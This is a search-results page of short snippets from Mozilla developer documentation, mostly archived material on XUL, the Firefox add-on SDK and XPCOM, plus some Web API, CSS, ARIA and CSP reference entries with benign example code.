this makes it easy to load chunks of your extension on the fly as needed, instead of loading everything all at once.
...code should be modularized to the extent that doing so increases clarity, and loading of large or expensive chunks of code fragments can be significantly deferred.
... if there is anything that can be done even a fraction of a second later, you can use an nsitimer or the window.settimeout() method to schedule that work for later.
...And 17 more matches
Creating a dynamic status bar extension - Archive of obsolete content
« previousnext » this article builds upon the article creating a status bar extension, which creates a static status bar panel in the firefox status bar, by dynamically updating its content with information fetched from the web every few minutes.
...download the sample update the install manifest replace all occurrences of the first sample's id, "status-bar-sample-1", with the new sample's id, "stockwatcher", and update the front end metadata to describe our new extension.
...update the chrome manifest the chrome manifest needs only a minor update from the previous sample; simply replace the id of the first sample, "status-bar-sample-1", with the name of the new sample, "stockwatcher".
...And 17 more matches
List of Mozilla-Based Applications - Archive of obsolete content
the following is a list of all known active applications that are built using mozilla technologies.
... abstract accounting tool adobe acrobat and adobe reader portable document format (pdf) software uses mozilla spidermonkey adobe flash player popular browser plug-in uses nss in linux version adwatch content management system uses xul and xpcom aicpcu/iia exam app exam delivery software aliwal geocoder geocoding & data on a map amarok xul remote remote control for amarok music player ample sdk javascript gui-framework aol instant messenger im client uses nss apache web server doesn't use nss by...
... default, but can be configured to use nss with mod_nss ssl module apicawatch site performance monitoring tool uses firefox as part of its monitoring package astyle css editor editing tool atmail webmail client aviva for java mainframe connectivity product uses mozilla rhino babelgum internet tv service basilisk pre-servo xul-based web browser uses most of the firefox 55 source code batik java-based toolkit uses mozilla rhino bitbox security focused browser seemingly based on firefox blackbird browser for african american community bluegriffon wysiwyg editor next generation version of composer buzzbird twitter client built on...
...And 17 more matches
The new nsString class implementation (1999) - Archive of obsolete content
this document is intended to briefly describe the new nsstring class architecture, and discuss the implications on memory management, optimizations, internationalization and usage patterns.
...justification the nsstring class is a wide character string class used throughout all of gecko (and other modules) as the default implementation.
... however, it suffers from a few implementation details which need to be addressed and that are the subject of this document.
...And 17 more matches
Panels - Archive of obsolete content
a panel is a popup which can support any type of content.
...the panel will display whatever elements are placed as children of the panel element.
... <?xml-stylesheet href="chrome://global/skin" type="text/css"?> <window xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <button label="details" type="panel"> <panel id="search-panel"> <label control="name" value="name:"/> <textbox id="name"/> </panel> </button> </window> many panels will be associated with a button, as in this example.
...And 17 more matches
Multiple Queries - Archive of obsolete content
to use multiple queries, place each query element along with its rules inside a queryset element.
... the queryset element is a bit of a misnomer, it actually only contains one query each.
... </rule> </queryset> </listbox> each queryset holds a query and its set of rules.
...And 17 more matches
Creating toolbar buttons (Customize Toolbar Window) - Archive of obsolete content
this article explains how to add a toolbar button to a toolkit application (such as firefox, thunderbird, or kompozer) using overlays.
...another tutorial, which walks you through the entire process from the beginning, is also available.
... note: some people overlay chrome://messenger/content/mailwindowoverlay.xul.
...And 17 more matches
Input Controls - Archive of obsolete content
text entry fields html has an input element which can be used for text entry controls.
...without any attributes, the textbox element creates a box in which the user can enter text.
... maxlength the maximum number of characters that the textbox allows.
...And 17 more matches
Popup Menus - Archive of obsolete content
the main difference is the way in which they appear.
... plain popups the plain popup is a popup window which appears when the user presses the left mouse button on an element.
... they are much like the menus on the menu bar, except that they can be placed anywhere and can contain any content.
...And 17 more matches
Splitters - Archive of obsolete content
an example is the mozilla browser window, where you can change the size of the sidebar panel by dragging the bar in-between the two frames.
... you can also hide the sidebar by clicking the notch.
...it creates a skinny bar between two sections which allows these sections to be resized.
...And 17 more matches
XPCOM Examples - Archive of obsolete content
window mediator component this is fine for displaying a list of open windows, but we would like to enhance this so that clicking on the menu item will switch to that window.
...the code below shows how to get a component which implements it: var wmdata = components.classes["@mozilla.org/rdf/datasource;1?name=window-mediator"].getservice(); wmdata.queryinterface(components.interfaces.nsiwindowdatasource); this code retrieves a window mediator data source component.
...you can also get this component through the rdf service, which is another service that manages rdf datasources.
...And 17 more matches
Writing Skinnable XUL and CSS - Archive of obsolete content
each package has its own skin, css files and images that determine the appearance of that package.
... each skin has a master skin file.
... @import url(chrome://global/skin/) ...
...And 17 more matches
datepicker - Archive of obsolete content
three types are available, which can be specified using the type attribute.
... to change the selected date, the value property may be used to set a new value in the form yyyy-mm-dd.
...in addition, the date, month and year properties may be used to retrieve and modify each component of the date separately.
...And 17 more matches
listbox - Archive of obsolete content
there are numerous methods which allow the items in the listbox to be retrieved and modified.
...all the rows in the listbox are the same height, which is the height of the tallest item in the list.
... if you wish to create a list with variable height rows, or with non-text content, you should instead use the richlistbox element.
...And 17 more matches
treecol - Archive of obsolete content
attributes crop, cycler, dragging, editable, fixed, hidden, hideheader, ignoreincolumnpicker, label, primary, sort, sortactive, sortdirection, src, type, width properties accessibletype style classes treecol-image examples this example shows a checkbox in the first column, requires the style below.
... <tree flex="1" editable="true"> <treecols> <treecol label="active" type="checkbox" editable="true"/> <treecol label="name" flex="1" /> </treecols> <treechildren> <treeitem> <treerow> <treecell value="true"/> <treecell label="alice"/> </treerow> </treeitem> <treeitem> <treerow> <treecell value="false"/> <treecell label="bob"/> </treerow> </treeitem> </treechildren> </tree> to make the checkbox visible on some platforms, the following styles need to be added to the stylesheet (see treecol.type).
...if targeting firefox for mac os x, be sure to use these styles but include your own checkbox image.
...And 17 more matches
nsISearchEngine
netwerk/base/public/nsibrowsersearchservice.idlscriptable please add a summary to this article.
... last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) inherits from: nsisupports method overview void addparam(in astring name, in astring value, in astring responsetype); nsisearchsubmission getsubmission(in astring data, [optional] in astring responsetype, [optional] in astring purpose); boolean supportsresponsetype(in astring responsetype); attributes attribute type description alias astring an optional shortcut alias for the engine.
... name astring the display name of the search engine.
...And 17 more matches
Document.createTouch() - Web APIs
note: before gecko 25.0, this method was defined on the documenttouch mixin.
... the document.createtouch() method creates and returns a new touch object.
... syntax var touch = documenttouch.createtouch(view, target, identifier, pagex, pagey, screenx, screeny); parameters note: all parameters are optional.
...And 17 more matches
FetchEvent - Web APIs
this is the event type for fetch events dispatched on the service worker global scope.
... it contains information about the fetch, including the request and how the receiver will treat the response.
... it provides the event.respondwith() method, which allows us to provide a response to this fetch.
...And 17 more matches
MediaDevices.ondevicechange - Web APIs
the mediadevices.ondevicechange property is an eventhandler which specifies a function to be called when the devicechange event occurs on a mediadevices instance.
... this happens whenever the set of media devices available to the user agent and, by extension, to the web site or app has changed.
... syntax mediadevices.ondevicechange = eventhandler; value a function you provide which accepts as input a event object describing the devicechange event that occurred.
...And 17 more matches
RTCPeerConnection.createDataChannel() - Web APIs
the createdatachannel() method on the rtcpeerconnection interface creates a new channel linked with the remote peer, over which any kind of data may be transmitted.
... this can be useful for back-channel content such as images, file transfer, text chat, game update packets, and so forth.
... if the new data channel is the first one added to the connection, renegotiation is started by delivering a negotiationneeded event.
...And 17 more matches
ARIA: search role - Accessibility
the search landmark role is used to identify a section of the page used to search the page, site, or collection of sites.
... <form role="search"> <!-- search input --> </form> description the search role is a landmark.
... landmarks can be used by assistive technology to quickly identify and navigate to large sections of the document.
...And 17 more matches
Guide to scroll anchoring - CSS: Cascading Style Sheets
as a user of the web, you are probably familiar with the problem that scroll anchoring solves.
... scroll anchoring is a browser feature that aims to solve this problem of content jumping, which happens if content loads in after the user has already scrolled to a new part of the document.
... scroll anchoring adjusts the scroll position to compensate for the changes outside of the viewport.
...And 17 more matches
2015 MDN Fellowship Program - Archive of obsolete content
this page is a historical archive, originally hosted at /fellowship, and was localized.
... 2015 mdn fellowship program launching in q1 2015, the mozilla developer fellowship intends to accelerate the involvement of highly-skilled and experienced web developers with the open web.
... who web and mobile developers with an established track record of contributions and expertise in a specific web technology, function or domain who wish to increase the effectiveness of their teaching and communications.
...And 16 more matches
page-worker - Archive of obsolete content
usage the module exports a constructor function page, which constructs a new page worker.
... a page worker may be destroyed, after which its memory is freed, and you must create a new instance to load another page.
...this can point to a remote file: pageworker = require("sdk/page-worker").page({ contentscript: "console.log(document.body.innerhtml);", contenturl: "http://en.wikipedia.org/wiki/internet" }); it can also point to an html file which you've packaged with your add-on.
...And 16 more matches
dev/panel - Archive of obsolete content
individual built-in tools, such as the javascript debugger or the web console, occupy "panels" in the toolbox.
... with the dev/panel module, you can create your own panels in the toolbox: the panel gets a tab in the toolbox toolbar which enables the user to open it: you specify the panel's content and behavior using html, css, and javascript.
... when the panel's created, the framework passes it a debuggee: this is a messageport object that you can use to exchange json messages with the browser that the developer tools are currently debugging.
...And 16 more matches
ui/button/action - Archive of obsolete content
by default the badge's color is red, but you can set your own color using the badgecolor property, specified as a css <color> value: var { togglebutton } = require("sdk/ui/button/toggle"); var button = togglebutton({ id: "my-button1", label: "my button1", icon: "./icon-16.png", onchange: changed, badge: 0, badgecolor: "#00aaaa" }); function changed(state) { button.badge = state.badge + 1; if (state.checked) { button.badgecolor = "#aa00aa"; } else { button.badgecolor = "#00aaaa"; } } specifying multiple icons you can specify just one icon, or multiple icons in different sizes.
...you can also add, or change, the listener afterwards: var { actionbutton } = require("sdk/ui/button/action"); var button = actionbutton({ id: "my-button", label: "my button", icon: { "16": "./firefox-16.png", "32": "./firefox-32.png" }, onclick: firstclick }); function firstclick(state) { console.log("you clicked '" + state.label + "'"); button.removelistener("click", firstclick)...
...it, but only for the currently active window: var { actionbutton } = require("sdk/ui/button/action"); var button = actionbutton({ id: "my-button", label: "my button", icon: { "16": "./firefox-16.png", "32": "./firefox-32.png" }, onclick: disableforthiswindow }); function disableforthiswindow(state) { button.state("window", { disabled: true }); } to fetch the state for a specific window or tab, call state(), passing in the window or tab you are interested in, and it will return the state: var labelforactivetab = button.state("tab").label; to learn more about this, see the api documentation for state().
...And 16 more matches
ui/toolbar - Archive of obsolete content
unlike a panel, a toolbar: does not overlap with any web content is persistent, remaining visible until the user chooses to close it is a fixed size, and appears in a fixed location usage creating and destroying toolbars you don't specify toolbar content directly: instead, you create other ui components and supply them to the toolbar constructor.
... toolbar events toolbars get attach and detach events when their content is loaded and unloaded, and show and hide events when the uses shows or hides them.
...each item in items must be an action button, a toggle button, or a frame instance.
...And 16 more matches
Creating annotations - Archive of obsolete content
its main job is to maintain a matched element: this is the page element that is the current candidate for an annotation.
... the matched element is highlighted and has a click handler bound to it which sends a message to the main add-on code.
... the selector page mod can be switched on and off using a message from the main add-on code.
...And 16 more matches
Progress Listeners - Archive of obsolete content
progress listeners progress listeners allow extensions to be notified of events associated with documents loading in the browser and with tab switching events.
... note that if you just want to execute your code each time a page loads, you can use an an easier method, onpageload().
... in the examples below the progress listener is attached to the tabbrowser, which means you don't get any notifications for inactive tabs.
...And 16 more matches
Local Storage - Archive of obsolete content
the structure could be something like this: s435l.default (your profile directory) xulschool log.txt somedbfile.sqlite the directory service and the nsifile interface are used to create the local directory.
... let localdir = directoryservice.get("profd", ci.nsifile); localdir.append("xulschool"); if (!localdir.exists() || !localdir.isdirectory()) { // read and write permissions to owner and group, read-only for others.
...in general this is the only directory flag you'll need, but sometimes you'll need access to other system directories, and you don't want to have to worry about which operating system or system language your extension is running on.
...And 16 more matches
Creating a Skin for Firefox/Getting Started - Archive of obsolete content
a .jar file is in reality a renamed zip archive.
... opening the .jar files in your archive manager of choice should result in the file being automatically detected as being a zip archive.
... however, if your application doesn't detect classic.jar as a standard zip archive, rename the file classic.zip and continue extraction.
...And 16 more matches
Developing New Mozilla Features - Archive of obsolete content
learn the codebase and coding practices before you start your feature include learning time in your schedule.
...life will be much easier if your team has one or more members who are already familiar with and to the mozilla world.
...this will be much easier if you’ve been working on suggestion two.
...And 16 more matches
Space Manager High Level Design - Archive of obsolete content
this information is used by block layout to correctly compute where other floated elements should be placed, and how much space is available to normal in-flow elements that flow around the floated bits.
...the primary classes that interact with the space manager are: nsblockreflowstate nsblockframe nsboxtoblockadaptor the general interaction model is to create a space manager for a block frame in the context of a reflow, and to associate it with the blockreflowstate so it is passed down to child frames' reflow methods.
...additionally, there is a need to manage impacts to lines caused by changes to floated elements.
...And 16 more matches
Dynamically modifying XUL-based user interface - Archive of obsolete content
introduction as you know, xul is an xml language used in various mozilla-based applications, such as firefox and thunderbird, to describe the user interface.
...the most well known dom method is probably document.getelementbyid(), which returns an element, given its id.
... you may also have used other calls, such as element.setattribute(), or, if you wrote an extension, the addeventlistener() method.
...And 16 more matches
Template and Tree Listeners - Archive of obsolete content
« previousnext » there are several listeners (or observers) used during the template build process, each used for different purposes.
... these each implement a different xpcom interface, as listed below: nsixulbuilderlistener - used to listen to template rebuilds.
...nsirdfobserver - for rdf datasources, used to listen to changes in the underlying rdf datasource.
...And 16 more matches
Box Model Details - Archive of obsolete content
more layout details the style properties such as min-width and max-height can be applied to any element.
... as shown in the image, there are two buttons which expand vertically to fit their container, which in this case is the hbox.
...you can also prevent this stretching by placing a maximum height on the elements or, better, on the box itself.
...And 16 more matches
Creating a Wizard - Archive of obsolete content
each page contains a single question or a set of related questions.
... xul provides a wizard element which can be used to create wizards.
... the content of the wizard element includes the content of each page of the wizard.
...And 16 more matches
Introduction to RDF - Archive of obsolete content
resource description framework we can use the tree elements to display a set of data, such as bookmarks or mail messages.
...rdf (resource description framework) is a format that can be used to store resources such as bookmarks or mail.
...this is how mozilla works when it reads data such as bookmarks, the history or mail messages.
...And 16 more matches
Modifying the Default Skin - Archive of obsolete content
« previousnext » as of firefox 69, you must set the toolkit.legacyuserprofilecustomizations.stylesheets preference to true in about:config in order to load userchrome.css or usercontent.css files.
...support for the userchrome.css file and any of its elements described below are not guaranteed in future versions of firefox.
...by applying a different skin, you can change the look of a window without changing its functionality.
...And 16 more matches
XULRunner Hall of Fame - Archive of obsolete content
see also featured mozilla-based applications, many of which use xulrunner.
...version updates match the rapid release cycle.
...source chatzilla a standalone version of the chatzilla irc client.
...And 16 more matches
What is RSS - Archive of obsolete content
this tutorial teaches rss 2.0, but makes an effort to point out issues with other versions of rss.
... a short history of rss in march of 1999 netscape released rss 0.90.
... it was much much different than today's rss.
...And 16 more matches
nsIHttpChannelInternal
netwerk/protocol/http/nsihttpchannelinternal.idlscriptable an internal interface for http channels.
... using features exposed by this interface is not recommended, as it will change in unpredictable ways.
... 66 introduced gecko 1.0 inherits from: nsisupports last changed in gecko 6.0 (firefox 6.0 / thunderbird 6.0 / seamonkey 2.3) method overview void getrequestversion(out unsigned long major, out unsigned long minor); void getresponseversion(out unsigned long major, out unsigned long minor); void httpupgrade(in acstring aprotocolname, in nsihttpupgradelistener alistener); void setcookie(in string acookieheader); void setupfallbackchannel(in string afallbackkey); attributes attribute type description canceled boolean returns true if and only if the channel has been canceled.
...And 16 more matches
nsIPrefBranch2
in gecko 13 this interface was merged into the nsiprefbranch interface.
... method overview void addobserver(in string adomain, in nsiobserver aobserver, in boolean aholdweak); void removeobserver(in string adomain, in nsiobserver aobserver); methods addobserver() add a preference change observer.
... on preference changes, the following arguments will be passed to nsiobserver.observe(): asubject - the nsiprefbranch object (this).
...And 16 more matches
Fetch API - Web APIs
WebAPIFetch API
the fetch api provides an interface for fetching resources (including across the network).
... concepts and usage fetch provides a generic definition of request and response objects (and other things involved with network requests).
... this will allow them to be used wherever they are needed in the future, whether it’s for service workers, cache api, and other similar things that handle or modify requests and responses, or any kind of use case that might require you to generate your responses programmatically (that is, the use of computer program or personal programming instructions).
...And 16 more matches
SpeechSynthesis - Web APIs
the speechsynthesis interface of the web speech api is the controller interface for the speech service; this can be used to retrieve information about the synthesis voices available on the device, start and pause speech, and other commands besides.
... properties speechsynthesis also inherits properties from its parent interface, eventtarget.
... speechsynthesis.paused read only a boolean that returns true if the speechsynthesis object is in a paused state.
...And 16 more matches
URLSearchParams - Web APIs
the urlsearchparams interface defines utility methods to work with the query string of a url.
... an object implementing urlsearchparams can directly be used in a for...of structure, for example the following two lines are equivalent: for (const [key, value] of mysearchparams) {} for (const [key, value] of mysearchparams.entries()) {} note: this feature is available in web workers.
... constructor urlsearchparams() returns a urlsearchparams object instance.
...And 16 more matches
String.prototype.charCodeAt() - JavaScript
the charcodeat() method returns an integer between 0 and 65535 representing the utf-16 code unit at the given index.
... the utf-16 code unit matches the unicode code point for code points which can be represented in a single utf-16 code unit.
... syntax str.charcodeat(index) parameters index an integer greater than or equal to 0 and less than the length of the string.
...And 16 more matches
Content Processes - Archive of obsolete content
content workers combine these ideas, allowing you to inject a content script into a content process, and automatically set up a communication channel between them.
... the final section explains why the sdk still uses the notion of content scripts and message passing, even though the multiprocess model for which they were designed never materialized.
...in this model, the ui would be rendered in one process (called the chrome process), whereas each tab and each add-on would run in their own dedicated process (called content and add-on processes, respectively).
...And 15 more matches
Localization - Archive of obsolete content
localized strings translated strings are kept in a directory called "locale" under your main add-on directory, one file for each locale.
... the files: use the .properties format are named "xx-yy.properties", where "xx-yy" is the name of the locale in question contain one entry for each string you want to localize, consisting of an identifier for the string and its translation in that locale, in the format identifier=translation need to use utf-8 without bom encoding lines starting with "#" (after optional whitespace) are comments suppose your add-on contains a single localizable string, represented in english as "hello!", and you want to supply us english and french french localizations.
... using localized strings in html this example uses the action button api, which is only available from firefox 29 onwards.
...And 15 more matches
Extension Etiquette - Archive of obsolete content
user interface tools menu items using the tool menu option gives the author the maximum amount of choices.
... whether the extensions should go at the top, bottom, or somewhere in between on the tools menu, the author always has a choice.
...status bar items should only be added for extensions that need constant monitoring, such as ad blocking, page ranking, or cookie management.
...And 15 more matches
Connecting to Remote Content - Archive of obsolete content
in this section we'll look into the xml and json communication mechanisms.
... .createinstance(components.interfaces.nsixmlhttprequest); request.onload = function(aevent) { window.alert("response text: " + aevent.target.responsetext); }; request.onerror = function(aevent) { window.alert("error status: " + aevent.target.status); }; request.open("get", url, true); request.send(null); in this example we demonstrate how to make a xmlhttprequest call in asynchronous mode.
...we create this instance using xpcom instead of the usual way (new xmlhttprequest()) because this way works both in chrome and non-chrome code.
...And 15 more matches
Making a Mozilla installation modifiable - Archive of obsolete content
the files are then collected into a series of jar archives, which are just zip files that contain a specially formatted "manifest" file which describes the contents of the archive so mozilla knows what to do with them.
... although jar archives are binary files, mozilla's ui is not compiled into machine code; mozilla instead builds its ui from the non-compiled files in the archive each time it starts up.
... because of this, we can modify the files in the archive and see our changes to the ui merely by restarting the application.
...And 15 more matches
Monitoring downloads - Archive of obsolete content
the result is a window you can open by choosing "download log" in the tools menu, which lists all downloads that have been started since you installed the extension.
... setting up when the extension loads, it will do some housekeeping chores.
... in particular, it needs to get an instance of the download manager's nsidownloadmanager interface and create the database into which its data will be stored.
...And 15 more matches
Writing textual data - Archive of obsolete content
when writing textual data to an output stream or to a file, you need to pick a character encoding.
... some character encodings (utf-8, utf-16, utf-32) can represent "all" characters (the full repertoire of unicode) while others can only represent a subset of the full repertoire.
... when the file is to be read only by the application/extension itself, using utf-8 is often the best choice — it can represent all characters, and ascii characters are represented efficiently.
...And 15 more matches
Building Trees - Archive of obsolete content
this is much more efficient; creating large numbers of dom nodes adds a lot of overhead.
...here is an example (using an rdf source): <tree id="photoslist" flex="1" datasources="template-guide-photos5.rdf" ref="http://www.xulplanet.com/rdf/myphotos" flags="dont-build-content"> <treecols> <treecol id="name" label="name" flex="1"/> <treecol id="date" label="date" flex="1"/> </treecols> <template> <treechildren> <treeitem uri="rdf:*"> <treerow> <treecell label="rdf:http://purl.org/dc/elements/1.1/title"/> <treecell label="rdf:http://purl.org/dc/elements/1.1/date"/> </treerow> </treeitem> </treechildren> </template> </tree> note: the tree columns (treecols) are declared outside the template as static content, since they only need to be decla...
...when the tree is displayed, it asks the view for the contents of each cell.
...And 15 more matches
Rule Compilation - Archive of obsolete content
this will return a table of result records which are then used to generate output.
...a query is declared with the query tag (new to ff3; ff2 only worked with rdf datasources and had no query tag), which you would place directly inside the <template>.
...rules the template also contains a set of rules which define content to be generated based on various conditions.
...And 15 more matches
Template Builder Interface - Archive of obsolete content
« previousnext » when inserting an element into a xul document, the element is checked to see if it has a datasources attribute.
... if so, a template builder will be created for the element and attached to the element.
...both types of builder share much of the same code except for how they generate output to be displayed.
...And 15 more matches
Introduction - Archive of obsolete content
next » this tutorial is a guide to learning xul (xml user interface language) which is a cross-platform language for describing applications' user interfaces.
... this tutorial will demonstrate creating a simple find file user interface, much like that provided by the macintosh's sherlock or the find file dialog in windows.
...xul is one such language designed specifically for building portable user interfaces.
...And 15 more matches
More Menu Features - Archive of obsolete content
« previousnext » in this section, we'll look at creating submenus and checked menus creating submenus you can create submenus inside other menus (nested menus) using the existing elements.
... <toolbox> <menubar id="findfiles-menubar"> <menu id="file-menu" label="file" accesskey="f"> <menupopup id="file-popup"> <menuitem label="open search..." accesskey="o"/> <menuitem label="save search..." accesskey="s"/> <menuseparator/> <menuitem label="close" accesskey="c"/> </menupopup> </menu> <menu id="edit-menu" label="edit" accesskey="e"> <menupopup id="edit-popup"> <menuitem label="cut" accesskey="t"/> <menuitem label="copy" accesskey="c"/> <menuitem label="paste" accesskey="p" disabled="tr...
...the three dots after open search and save search are the usual way that you indicate to the user that a dialog will open when selecting the command.
...And 15 more matches
More Wizards - Archive of obsolete content
more complex wizard navigation normally, a wizard displays each wizardpage in the order that you place them in the xul file.
...in this case, place a pageid attribute on each of the pages.
... this should be set to an identifier for each page.
...And 15 more matches
Using Spacers - Archive of obsolete content
adding spacers one of the problems with developing user interfaces is that each user has a different display.
...each time we add something, the window gets bigger.
...a spacer is very simple and only requires one attribute, which will be explained in a moment.
...And 15 more matches
key - Archive of obsolete content
ArchiveMozillaXULkey
when a key matching the attributes on the key element is pressed, the command will be fired on the key element.
... the key pressed must match the key attribute (or keycode attribute) as well as the modifiers attribute in order for the key element to be activated.
...do not set the attribute to true, as this will suggest you can set it to false to enable the element again, which is not the case.
...And 15 more matches
listitem - Archive of obsolete content
attributes accesskey, checked, command, crop, current, disabled, image, label, preference, selected, tabindex, type, value properties accesskey, accessible, checked, control, crop, current, disabled, image, label, selected, tabindex, value style classes listitem-iconic examples <listbox id="thelist"> <listitem label="ruby"/> <listitem label="emerald"/> <listitem label="sapphire" selected="true"/> <...
...listitem label="diamond"/> </listbox> attributes accesskey type: character this should be set to a character that is used as a shortcut key.
... this should be one of the characters that appears in the label attribute for the element.
...And 15 more matches
Using the W3C DOM - Archive of obsolete content
« previousnext » the document object has properties for accessing collections of elements, such as document.images and document.forms.
... some browsers have non-standard properties, such as internet explorer's document.all[], that are not part of the w3c document object model (dom) standards and may cause javascript errors in standards-compliant browsers.
...using w3c standards means that code will run in compliant browsers with minimal need for cross-browser support, whereas code based on proprietary standards requires much more effort to be compatible with multiple user agents.
...And 15 more matches
XForms Custom Controls - Archive of obsolete content
since firefox 4, xbl and xul are disabled by default for all pages not loaded from a chrome:// url.
...but even if you are only comfortable with a couple of these technologies, we hope that the possibilities outlined below will inspire you to learn more where you need to.
... implementation status the framework we use in the mozilla xforms processor is very much a "work in progress".
...And 15 more matches
ARIA: checkbox role - Accessibility
the checkbox role is used for checkable interactive controls.
... elements containing role="checkbox" must also include the aria-checked attribute to expose the checkbox's state to assistive technology.
... <span role="checkbox" aria-checked="false" tabindex="0" aria-labelledby="chk1-label"> </span> <label id="chk1-label">remember my preferences</label> the first rule of aria is if a native html element or attribute has the semantics and behavior you require, use it instead of re-purposing an element and adding aria.
...And 15 more matches
CSP: child-src - HTTP
the http content-security-policy (csp) child-src directive defines the valid sources for web workers and nested browsing contexts loaded using elements such as <frame> and <iframe>.
... csp version 2 directive type fetch directive default-src fallback yes.
... syntax one or more sources can be allowed for the child-src policy: content-security-policy: child-src <source>; content-security-policy: child-src <source> <source>; sources <source> can be one of the following: <host-source> internet hosts by name or ip address, as well as an optional url scheme and/or port number.
...And 15 more matches
Caching compiled WebAssembly modules - WebAssembly
caching is useful for improving the performance of an app — we can store compiled webassembly modules on the client so they don't have to be downloaded and compiled every time.
... caching via indexeddb indexeddb is a transactional database system that allows you to store and retrieve structured data on the client-side.
... setting up a caching library because indexeddb is a somewhat old-fashioned api, we wanted to provide a library function to speed up writing caching code, and make it work better along with today's more modern apis.
...And 15 more matches
lang/type - Archive of obsolete content
let { isundefined } = require('sdk/lang/type'); var foo; isundefined(foo); // true isundefined(0); // false parameters value : mixed the variable to check.
... let { isnull } = require('sdk/lang/type'); isnull(null); // true isnull(false); // false parameters value : mixed the variable to check.
...uses typeof operator to check type, and will only properly detect string primitives: for example, a string created with new string() will always return false.
...And 14 more matches
Low-Level APIs - Archive of obsolete content
these modules fall roughly into three categories: fundamental utilities such as collection.
... building blocks for higher level modules, such as events and worker.
... privileged modules that expose powerful low-level capabilities such as window/utils and net/xhr.
...And 14 more matches
Modifying Web Pages Based on URL - Archive of obsolete content
to modify any pages that match a particular pattern (for example, "http://example.org/") as they are loaded, use page-mod module.
... one or more patterns to match urls for the pages you want to modify.
...s contentscript option and url pattern is given as include option is as follows: // import the page-mod api var pagemod = require("sdk/page-mod"); // create a page-mod // it will run a script whenever a ".org" url is loaded // the script replaces the page contents with a message pagemod.pagemod({ include: "*.org", contentscript: 'document.body.innerhtml = ' + ' "<h1>page matches ruleset</h1>";' }); do as follows: create a new directory and navigate to it.
...And 14 more matches
Migrating from Internal Linkage to Frozen Linkage - Archive of obsolete content
this document is a guide to common code patterns that may need to change to work with frozen linkage.
... strings the most obvious change required by frozen linkage is using the frozen string api.
...the frozen string api does not have (or need) nsxpidlstring: - nsxpidlstring value; + nsstring value; ptr->gettermethod(getter_copies(value)); - const prunichar *strvalue = value; + // nsstring doesn't cast directly to prunichar*, use .get()+ const prunichar *strvalue = value.get(); the frozen string api doesn't accept a length for .truncate().
...And 14 more matches
Using microformats - Archive of obsolete content
predefined microformats firefox 3 provides definitions implementing several common microformats: adr represents an address (such as a street or mailing address).
... count() counts the number of microformats in a document that match specified criteria.
...the dom element at which to begin the search.
...And 14 more matches
Helper Apps (and a bit of Save As) - Archive of obsolete content
the nsexternalhelperappservice looks up the nsimimeinfo for the load and creates an nsihelperapplauncher to manage the load.
... the nsexternalapphandler (which implements nsihelperapplauncher) uses the nsimimeinfo and an nsihelperapplauncherdialog to decide what to do with the data.
... nsimimeinfo lookup look in built-in list which the user cannot override (types we handle internally).
...And 14 more matches
Nanojit - Archive of obsolete content
overview nanojit is a small, cross-platform c++ library that emits machine code.
...the term lir is compiler jargon for a language used internally in a compiler that is usually cross-platform but very close to machine language.
...a compiler's lir is typically one of several partly-compiled representations of a program that a compiler produces on the way from raw source code to machine code.
...And 14 more matches
Supporting private browsing mode - Archive of obsolete content
firefox 3.5 introduced private browsing mode, in which potentially private information is not recorded.
... just check the value of the privatebrowsingenabled attribute on the nsiprivatebrowsingservice service.
... note: private browsing mode may only be detected by chrome code, such as extensions; web content cannot detect whether or not private browsing is in effect.
...And 14 more matches
The life of an HTML HTTP request - Archive of obsolete content
necko (the network library) checks the url scheme (the first part of the url, http: in this case) and locates the correct nsiprotocolhandler (in this case nshttphandler) and asks it for a nsichannel (nshttpchannel).
... the channel represents the connection to the server, and is the source of the html data stream.
... (3) when data is starting to come from the webserver the nsichannel calls the onstartrequest in the documenloader.
...And 14 more matches
Using Breakpoints in Venkman - Archive of obsolete content
when you set a breakpoint in a debugging application such as venkman, you can take advantage of the suspension to examine variables, objects, and other featues of the execution.
...when a script is loaded that matches the url of a future breakpoint, and has executable code at the specified line, venkman will automatically set a future breakpoint.
...the dots you see in the left margin of the source code view indicate which lines contain executable code, places where a hard breakpoint can be set.
...And 14 more matches
Installer Script - Archive of obsolete content
var cf = getfolder("chrome"); 43.
... registerchrome(content | delayed_chrome, getfolder(cf,"toolkit.xpi"),"content/global/"); 44.
... registerchrome(content | delayed_chrome, getfolder(cf,"browser.xpi"),"content/communicator/"); 45.
...And 14 more matches
Simple Query Syntax - Archive of obsolete content
« previousnext » when iterating over the children of an rdf container, there is a simpler query syntax which may used.
...simple rdf graph navigation such as this is common, so the simpler syntax is usually used in this situation since it avoids extra tags, although the simple syntax is not more or less efficient, at least when a single query is involved.
... a simple query is equivalent to a query with only the content tag and a member tag, as well as optionally a set of triples from the child node.
...And 14 more matches
Adding Properties to XBL-defined Elements - Archive of obsolete content
methods are functions which may be executed.
... all three are defined within an implementation element, which should be a child of the binding element.
... within the implementation, you define individual field, property, and method elements, one for each one that you want.
...And 14 more matches
More Event Handlers - Archive of obsolete content
in the attribute form of the event handler, the event object is an implied argument to the script code which can be referred to using the name 'event'.
... the event object has a number of properties which can be examined during an event.
...in the example below, currenttarget is always the vbox, whereas target would be the specific element, either the button or checkbox, that was activated.
...And 14 more matches
Stacks and Decks - Archive of obsolete content
containers each xul box is a container that can contain any other element.
... there are a number of elements that are specialized types of boxes, such as toolbars and tabbed panels.
...it works like any other box but has the special property that its children are laid out all on top of each other.
...And 14 more matches
XUL Event Propagation - Archive of obsolete content
it's passive in that it doesn't look for a listener; it propagates or "bubbles up" the hierarchy of nodes within the interface until it is either handled in some way or passes out of the interface unhandled.
... any element that is interested in the event -- any part of the interface, in other words, that needs to know about and respond to the user's click action on the button -- "handles" the event with an event handler, or chunk of code to be executed when the given event is "heard".
... the availability of event listeners is also somewhat pre-determined, though xul provide generalized event listeners (i.e., oncommand event listeners) for most of the elements in the widget hierarchy.
...And 14 more matches
timepicker - Archive of obsolete content
a fourth textbox appears for 12 hour clocks which allows selection of am or pm.
...the value may be retrieved and changed using the value property or the datevalue property.
...in addition, the hour, minute and second properties may be used to retrieve and modify each component of the time separately.
...And 14 more matches
toolbar - Archive of obsolete content
« xul reference home [ examples | attributes | properties | methods | related ] a container which typically contains a row of buttons.
...these are toolbars that are not children of a toolbox element.
... the chromeclass-toolbar class may be used to create a toolbar where its visibility depends on the toolbar flag when opening the window with the window interface's open() method loads the specified resource into the browsing context (window, <iframe> or tab) with the specified name.
...And 14 more matches
wizard - Archive of obsolete content
each page should be constructed using a wizardpage.
